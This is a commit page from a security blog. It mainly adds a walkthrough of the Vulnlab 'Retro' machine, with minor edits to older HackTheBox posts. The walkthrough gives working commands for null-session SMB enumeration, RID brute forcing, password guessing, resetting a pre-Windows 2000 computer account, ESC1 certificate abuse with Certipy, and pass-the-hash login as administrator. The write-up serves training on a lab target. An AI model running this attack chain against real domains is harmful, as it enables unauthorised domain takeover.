Skip to content

Commit 7e47da9

Browse files
committedJun 22, 2024·
Retro
1 parent c75b82a commit 7e47da9

File tree

4 files changed

+178
-11
lines changed

4 files changed

+178
-11
lines changed
 

‎source/_posts/HackTheBox/2023-02-18-Beep.md

-4
Original file line numberDiff line numberDiff line change
@@ -16,10 +16,6 @@ title: Beep - HackTheBox
1616

1717
Beep has a very large list of running services, which can make it a bit challenging to find the correct entry method. This machine can be overwhelming for some as there are many potential attack vectors. Luckily, there are several methods available for gaining access.
1818

19-
### Difficulty:
20-
21-
`Medium`
22-
2319

2420
# Fixes
2521
Due to this machine's age and the outdated TLS version, issues emerge.

‎source/_posts/HackTheBox/2023-03-04-Cronos.md

+1-4
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,8 @@ title: Cronos - HackTheBox
1414

1515

1616

17-
Cronos is a medium Linux machine that focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability
17+
Cronos is a **medium** Linux machine that focuses mainly on different vectors for enumeration and also emphasises the risks associated with adding world-writable files to the root crontab. This machine also includes an introductory-level SQL injection vulnerability
1818

19-
### Difficulty:
20-
21-
`Medium`
2219

2320

2421
# Enumeration

‎source/_posts/HackTheBox/2023-12-20-Jeeves.md

-3
Original file line numberDiff line numberDiff line change
@@ -15,9 +15,6 @@ title: Jeeves - HackTheBox
1515

1616
Jeeves is not overly complicated, however, it focuses on some interesting techniques and provides a great learning experience. As the use of alternate data streams is not very common, some users may have a hard time locating the correct escalation path.
1717

18-
### Difficulty:
19-
20-
`Medium`
2118

2219

2320
# Enumeration
+177
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
---
2+
cover: https://photos.squarezero.dev/file/abir-images/Retro/logo.png
3+
date: 2024-06-22 09:45:47 +07:00
4+
modified: 2024-06-22 09:45:47 +07:00
5+
categories: Vulnlab
6+
machine_author:
7+
name: r0BIT
8+
link: https://www.linkedin.com/in/robin-unglaub/
9+
tags: ["Nmap", "port scanning", "SMB enumeration", "null session", "RID brute forcing", "password guessing", "simple passwords", "Windows shares", "Pre-Windows 2000 Computers", "credential change", "Impacket", "ESC1 attack", "Active Directory Certificate Services", "Certipy", "Kerberos", "TGT request"]
10+
title: Retro - Vulnlab
11+
---
12+
13+
![](https://photos.squarezero.dev/file/abir-images/htbasset/vulnbanner.png)
14+
15+
Retro is an **easy** difficulty machine where I had to enumerate open ports and services, leverage LDAP and SMB services to gain initial access, utilize credential brute forcing to discover simple passwords, and employ Impacket and Certipy to change credentials and exploit an ESC1 vulnerability for privilege escalation. The final step involved obtaining a TGT for the administrator to capture the root flag.
16+
17+
18+
# Enumeration
19+
The Nmap scan shows the following ports.
20+
21+
```Bash
22+
PORT STATE SERVICE
23+
53/tcp open domain
24+
88/tcp open kerberos-sec
25+
135/tcp open msrpc
26+
139/tcp open netbios-ssn
27+
389/tcp open ldap
28+
445/tcp open microsoft-ds
29+
464/tcp open kpasswd5
30+
593/tcp open http-rpc-epmap
31+
636/tcp open ldapssl
32+
3268/tcp open globalcatLDAP
33+
3269/tcp open globalcatLDAPssl
34+
3389/tcp open ms-wbt-server
35+
9389/tcp open adws
36+
```
37+
38+
Guest login is enabled in the machine and I can see the shares using a username and null password.
39+
`netexec smb ip -u 'sz' -p '' --shares`
40+
41+
![](https://photos.squarezero.dev/file/abir-images/Retro/0.png)
42+
43+
I also used rid brute force to get users into the system.
44+
`netexec smb ip -u 'sz' -p '' --rid-brute`
45+
46+
![](https://photos.squarezero.dev/file/abir-images/Retro/1.png)
47+
48+
# Password Guessing
49+
50+
In the Trainees shares there is a text file where it talks about making an simple password for trainees.
51+
52+
`smbclient "//10.10.81.244/Trainees" -U "sz" --password=''`
53+
54+
```
55+
Dear Trainees,
56+
I know that some of you seemed to struggle with remembering strong and unique passwords.
57+
So we decided to bundle every one of you up into one account.
58+
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
59+
60+
Regards
61+
The Admins
62+
```
63+
64+
Using the usernames earlier I can tried bruteforce with usernames as password and got **trainees:trainees** valid
65+
66+
`netexec smb 10.10.81.244 -u user.txt -p user.txt -no-bruteforce`
67+
68+
![](https://photos.squarezero.dev/file/abir-images/Retro/2.png)
69+
70+
# Pre-Windows 2000 Computers
71+
72+
I explored Notes share with trainee credentials and found another notes where it talked about **Pre Created Computer Account**
73+
`smbclient "//10.10.81.244/Notes" -U "trainee" --password='trainee'`
74+
75+
![](https://photos.squarezero.dev/file/abir-images/Retro/3.png)
76+
77+
```
78+
Thomas,
79+
80+
after convincing the finance department to get rid of their ancienct banking software
81+
it is finally time to clean up the mess they made. We should start with the pre created computer account. That one is older than me.
82+
83+
Best
84+
James
85+
```
86+
87+
After researching for a little bit I found this 2 article where it talked about how I can change the credentials of **Pre-Windows 2000 Computers**.
88+
89+
[The Hacker Recipes](https://www.thehacker.recipes/ad/movement/domain-settings/pre-windows-2000-computers)
90+
[Trustedsec](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts)
91+
92+
![](https://photos.squarezero.dev/file/abir-images/Retro/4.png)
93+
94+
As this is a financial department I used previously found user **banking** and got ***NT_STATUS_RESOURCE_NAME_NOT_FOUND*** which confirms its vulnerable.
95+
96+
`smbclient -W retro.vl -U "banking" --password='banking' -L retro.vl`
97+
98+
![](https://photos.squarezero.dev/file/abir-images/Retro/5.png)
99+
100+
I also verified it with Netexec.
101+
102+
![](https://photos.squarezero.dev/file/abir-images/Retro/6.png)
103+
104+
Next, I used Impacket to change the credentials and also create alternative credentials.
105+
106+
`impacket-changepasswd retro.vl/banking$:banking@10.10.105.52 -newpass Password123 -altuser trainee -altpass trainee`
107+
108+
![](https://photos.squarezero.dev/file/abir-images/Retro/7.png)
109+
110+
111+
# ESC1
112+
113+
Using the new credential I enumerated ADCS and the machine was vulnerable to ESC1 attack.
114+
115+
`certipy find -u 'banking$' -p 'Password123' -dc-ip 10.10.105.52 -enabled -vulnerable -stdout`
116+
117+
118+
```bash
119+
Certificate Templates
120+
0
121+
Template Name : RetroClients
122+
Display Name : Retro Clients
123+
Certificate Authorities : retro-DC-CA
124+
Enabled : True
125+
Client Authentication : True
126+
Enrollment Agent : False
127+
Any Purpose : False
128+
Enrollee Supplies Subject : True
129+
Certificate Name Flag : EnrolleeSuppliesSubject
130+
Enrollment Flag : None
131+
Private Key Flag : 16842752
132+
Extended Key Usage : Client Authentication
133+
Requires Manager Approval : False
134+
Requires Key Archival : False
135+
Authorized Signatures Required : 0
136+
Validity Period : 1 year
137+
Renewal Period : 6 weeks
138+
Minimum RSA Key Length : 4096
139+
Permissions
140+
Enrollment Permissions
141+
Enrollment Rights : RETRO.VL\Domain Admins
142+
RETRO.VL\Domain Computers
143+
RETRO.VL\Enterprise Admins
144+
Object Control Permissions
145+
Owner : RETRO.VL\Administrator
146+
Write Owner Principals : RETRO.VL\Domain Admins
147+
RETRO.VL\Enterprise Admins
148+
RETRO.VL\Administrator
149+
Write Dacl Principals : RETRO.VL\Domain Admins
150+
RETRO.VL\Enterprise Admins
151+
RETRO.VL\Administrator
152+
Write Property Principals : RETRO.VL\Domain Admins
153+
RETRO.VL\Enterprise Admins
154+
RETRO.VL\Administrator
155+
[!] Vulnerabilities
156+
ESC1
157+
```
158+
159+
Using Certipy I requested .pfx key using the vulnerable template. Because of the ***Key Size*** error, I specified the key-size
160+
161+
`certipy req -u 'banking$'@retro.vl -p 'Password123' -dc-ip 10.10.105.52 -ca retro-DC-CA -template RetroClients -upn ADMINISTRATOR@retro.VL -key-size 4096`
162+
163+
![](https://photos.squarezero.dev/file/abir-images/Retro/8.png)
164+
165+
Next, Using the pfx key I requested TGT of the administrator.
166+
167+
`certipy auth -pfx administrator.pfx -username Administrator -domain retro.vl -dc-ip 10.10.105.52`
168+
169+
![](https://photos.squarezero.dev/file/abir-images/Retro/9.png)
170+
171+
Using the TGT I can now login to the machine and get the flag.
172+
`wmiexec.py administrator@10.10.105.52 -hashes <.....redacted......>`
173+
174+
![](https://photos.squarezero.dev/file/abir-images/Retro/10.png)
175+
176+
177+

0 commit comments

Comments
 (0)
Please sign in to comment.